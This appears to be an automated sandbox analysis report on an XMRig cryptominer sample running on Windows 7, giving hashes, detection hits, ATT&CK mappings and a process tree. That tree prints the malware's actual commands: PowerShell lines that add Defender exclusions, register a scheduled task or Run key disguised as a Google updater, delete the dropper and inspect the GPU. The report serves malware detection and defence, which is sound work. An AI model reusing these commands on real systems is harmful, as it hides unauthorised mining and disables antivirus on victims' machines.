xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1790s
max time network
1802s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2236 created 1208	2236	UU4Ddwqm5zcuLzGR.exe	15
PID 2236 created 1208	2236	UU4Ddwqm5zcuLzGR.exe	15
PID 2236 created 1208	2236	UU4Ddwqm5zcuLzGR.exe	15
PID 2236 created 1208	2236	UU4Ddwqm5zcuLzGR.exe	15
PID 2944 created 1208	2944	updater.exe	15
PID 2944 created 1208	2944	updater.exe	15
PID 2944 created 1208	2944	updater.exe	15
PID 2944 created 1208	2944	updater.exe	15
PID 2948 created 1208	2948	conhost.exe	15
PID 2944 created 1208	2944	updater.exe	15

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral25/memory/1284-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/1284-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2656	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2944	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1908	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral25/memory/1284-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/1284-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2944 set thread context of 2948	2944	updater.exe	51
PID 2944 set thread context of 1284	2944	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	UU4Ddwqm5zcuLzGR.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2744	schtasks.exe
588	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
924	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d086ce4fb94fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2236	UU4Ddwqm5zcuLzGR.exe
2236	UU4Ddwqm5zcuLzGR.exe
2640	powershell.exe
2236	UU4Ddwqm5zcuLzGR.exe
2236	UU4Ddwqm5zcuLzGR.exe
2876	powershell.exe
2236	UU4Ddwqm5zcuLzGR.exe
2236	UU4Ddwqm5zcuLzGR.exe
2236	UU4Ddwqm5zcuLzGR.exe
2236	UU4Ddwqm5zcuLzGR.exe
3052	powershell.exe
2944	updater.exe
2944	updater.exe
2848	powershell.exe
2944	updater.exe
2944	updater.exe
2772	powershell.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
2948	conhost.exe
2948	conhost.exe
2944	updater.exe
2944	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2944	updater.exe
Token: SeAssignPrimaryTokenPrivilege	924	WMIC.exe
Token: SeIncreaseQuotaPrivilege	924	WMIC.exe
Token: SeSecurityPrivilege	924	WMIC.exe
Token: SeTakeOwnershipPrivilege	924	WMIC.exe
Token: SeLoadDriverPrivilege	924	WMIC.exe
Token: SeSystemtimePrivilege	924	WMIC.exe
Token: SeBackupPrivilege	924	WMIC.exe
Token: SeRestorePrivilege	924	WMIC.exe
Token: SeShutdownPrivilege	924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	924	WMIC.exe
Token: SeUndockPrivilege	924	WMIC.exe
Token: SeManageVolumePrivilege	924	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	924	WMIC.exe
Token: SeIncreaseQuotaPrivilege	924	WMIC.exe
Token: SeSecurityPrivilege	924	WMIC.exe
Token: SeTakeOwnershipPrivilege	924	WMIC.exe
Token: SeLoadDriverPrivilege	924	WMIC.exe
Token: SeSystemtimePrivilege	924	WMIC.exe
Token: SeBackupPrivilege	924	WMIC.exe
Token: SeRestorePrivilege	924	WMIC.exe
Token: SeShutdownPrivilege	924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	924	WMIC.exe
Token: SeUndockPrivilege	924	WMIC.exe
Token: SeManageVolumePrivilege	924	WMIC.exe
Token: SeLockMemoryPrivilege	1284	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 2744	2876	powershell.exe	32
PID 2876 wrote to memory of 2744	2876	powershell.exe	32
PID 2876 wrote to memory of 2744	2876	powershell.exe	32
PID 2656 wrote to memory of 2612	2656	cmd.exe	37
PID 2656 wrote to memory of 2612	2656	cmd.exe	37
PID 2656 wrote to memory of 2612	2656	cmd.exe	37
PID 3052 wrote to memory of 2132	3052	powershell.exe	38
PID 3052 wrote to memory of 2132	3052	powershell.exe	38
PID 3052 wrote to memory of 2132	3052	powershell.exe	38
PID 1908 wrote to memory of 2944	1908	taskeng.exe	40
PID 1908 wrote to memory of 2944	1908	taskeng.exe	40
PID 1908 wrote to memory of 2944	1908	taskeng.exe	40
PID 2772 wrote to memory of 588	2772	powershell.exe	45
PID 2772 wrote to memory of 588	2772	powershell.exe	45
PID 2772 wrote to memory of 588	2772	powershell.exe	45
PID 2944 wrote to memory of 2948	2944	updater.exe	51
PID 2924 wrote to memory of 924	2924	cmd.exe	46
PID 2924 wrote to memory of 924	2924	cmd.exe	46
PID 2924 wrote to memory of 924	2924	cmd.exe	46
PID 2944 wrote to memory of 1284	2944	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1208
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2744
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:588
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:972
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2924
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2948
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1284

C:\Windows\system32\taskeng.exe
taskeng.exe {13349147-810B-4D7F-BCD3-3DC26EBE5852} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2944

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 714KB
SHA256 95db01a34900f493bdd63a7a57c308597ee03ab8904f46ae480a75c7f7701423
MD5 3a457544ba68ad42fa37b51b8926492d
SHA1 d90b9dd2115703846472db8df92bbf0cb30334ca
SHA512 f0a5ac9cf650b8fd3dcee8615de8ecb8e41d98497eec20d956b2e2d25ee6c1659e0cd370e8a65f9b272ae3ffa3eae7b86f911393664d1566641359ec8adcbbeb
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iGs:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i5
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 84KB
SHA256 0cf32a96f672aa709a01f49dd1725f6a267e18421f7e36cec800da4c7fd7ac55
MD5 faab2108d145dc8655a3e18b03e016ed
SHA1 8139c9fcfa8af58383ebe187384f5460dbc062ff
SHA512 23897bd21c2e3bcd698c26eb063bd14f06eeee9286b113f4c18081cbbd7eda8ab34d499695d6689d7ce4ff8fe338bc529f2b9931e14df147d9d3e0caf04200ff
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/7B:L3zjTv46w/ZUFO5TbwWpUt1DB
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 8df736f5738d131821b5263767188a44a981589d3f1629319d9686f6011be5ec
MD5 22f38c6fffd19fa0d96c8dd5db9f323b
SHA1 ba4e64b6040ade82698bdeb4686c8c3ee02d9a76
SHA512 c2d8bee9d96b4653fe8acccb13e6fe5a7689b0950cbe4e6e97e2104d2101f597b98a198d4dbe726fe600ea41a7793795606100034f44b789cad53d9d1a33db94
SSDEEP 96:UjlbKC9M8HnqvsqvJCwozjlbKC9M8HnqvsEHyqvJCworZ+LGQH+z71OXlUVa:4lbXzUo/lbXzAHnorZnbz71Ot
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 664KB
SHA256 f0acedc44b158246466c1591a444b5ab37078ad88315a8ffada102dab0ca854a
MD5 ee0edd7fddae43e4c95671fe408d4269
SHA1 b6742d4e833ef6a2435af43ac21c27e7aef62334
SHA512 c46750030aa34eeae2b75d13f9e92a9f5c5a4e703b280f6bdd8b13b1e446226c5dd1f75ed21c714cbb92d44ec2f79fad6a790afe235d03426deee29d80997699
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iV:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iB
MD5 SHA1 SHA512 SSDEEP

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memory/1284-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-81-0x00000000008F0000-0x0000000000910000-memory.dmp

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memory/1284-70-0x00000000008F0000-0x0000000000910000-memory.dmp

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memory/1284-69-0x00000000003D0000-0x00000000003F0000-memory.dmp

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memory/1284-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/1284-68-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-136-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-134-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-132-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-130-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1284-80-0x00000000003D0000-0x00000000003F0000-memory.dmp

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memory/2236-0-0x000000013F780000-0x000000013F991000-memory.dmp

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memory/2236-29-0x000000013F780000-0x000000013F991000-memory.dmp

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memory/2640-8-0x00000000025B0000-0x0000000002630000-memory.dmp

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memory/2640-12-0x00000000025B0000-0x0000000002630000-memory.dmp

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memory/2640-6-0x0000000002350000-0x0000000002358000-memory.dmp

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memory/2640-5-0x000000001B0C0000-0x000000001B3A2000-memory.dmp

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memory/2640-7-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

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memory/2640-9-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

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memory/2640-13-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

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memory/2640-10-0x00000000025B0000-0x0000000002630000-memory.dmp

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memory/2640-11-0x00000000025B0000-0x0000000002630000-memory.dmp

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memory/2772-57-0x0000000000FF0000-0x0000000001070000-memory.dmp

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memory/2772-56-0x0000000000FF0000-0x0000000001070000-memory.dmp

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memory/2772-53-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

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memory/2772-55-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

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memory/2772-59-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

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memory/2772-54-0x0000000000FF0000-0x0000000001070000-memory.dmp

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memory/2772-58-0x0000000000FF0000-0x0000000001070000-memory.dmp

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memory/2848-48-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

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memory/2848-46-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

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memory/2848-47-0x0000000000E80000-0x0000000000F00000-memory.dmp

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memory/2848-52-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

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memory/2848-50-0x0000000000E80000-0x0000000000F00000-memory.dmp

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memory/2848-51-0x0000000000E8B000-0x0000000000EF2000-memory.dmp

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memory/2848-49-0x0000000000E80000-0x0000000000F00000-memory.dmp

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memory/2876-27-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

